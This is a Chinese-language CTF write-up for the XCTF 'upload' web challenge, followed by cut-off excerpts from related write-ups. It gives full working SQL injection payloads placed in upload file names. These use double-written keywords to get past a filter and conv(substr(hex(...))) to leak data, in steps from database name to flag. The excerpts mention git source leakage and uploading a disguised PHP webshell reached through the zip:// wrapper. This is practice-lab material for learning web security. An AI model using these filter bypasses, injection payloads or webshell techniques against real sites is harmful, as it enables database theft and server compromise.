攻防世界 upload

2022-08-13 03:57:15 字數 2943 閱讀 2367

攻防世界上的一道web題  

為什麼我覺得完全不像萌新入坑的題呢  退坑還差不多吧

一看名字以及頁面想當然的就是檔案上傳了唄

結果各種嘗試,也沒什麼辦法,但是每次我們上傳後會有檔名的回顯

但是正常的檔案上傳也都有這種名字的回顯,可能不太尋常的就是這個沒有路徑吧

最後看的writeup  說是sql注入????不明白怎麼能看出來是注入的

檔名存在注入,並且過濾了select from  用雙寫就能繞過

上網查了一下conv這個函式

意思就是我們將substr(hex(database()) 的結果從16進製制轉化為10進製

起初我沒明白為什麼要這麼長 直接sselectelect database()不就行了嗎?

嘗試以後發現應該都是題的設定

sselectelect database()  =>  0

selecselectt substr(database(),1,12)  =>  0

selecselectt substr(hex(database()),1,12)  =>  7765625          這裡正常應該顯示7765625f7570才對,可能是題目的設定,出現字母以後後面內容就會被截斷

所以才用到了conv,將16進製制轉化為10進製

但是又有了乙個疑問,為什麼substr要設定為1到12呢,嘗試以後發現

當我們設定為1,13時  

出現了科學計數法,這是無法轉化為10進製的,所以才設定了1,12這個限制

這些搞明白了以後那就開始注入了

庫: sql'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg  => 131277325825392  => web_up (這裡將10進製再轉化為16進製制進行hex解碼就出來了)

拼接以後 web_upload

表: sql'+(selselectect conv(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg

拼接以後為 files,hello_flag_is_here

列:sql'+(selselectect conv(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg

拼接以後為 i_am_flag

字段:sql'+(selselectect conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'.jpg

拼接以後為 !!_@m_th.e_f!lag

又學到了新的注入方法,但是這個的侷限性應該挺大的,不知道是腦洞太大還是我太菜,哭了

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...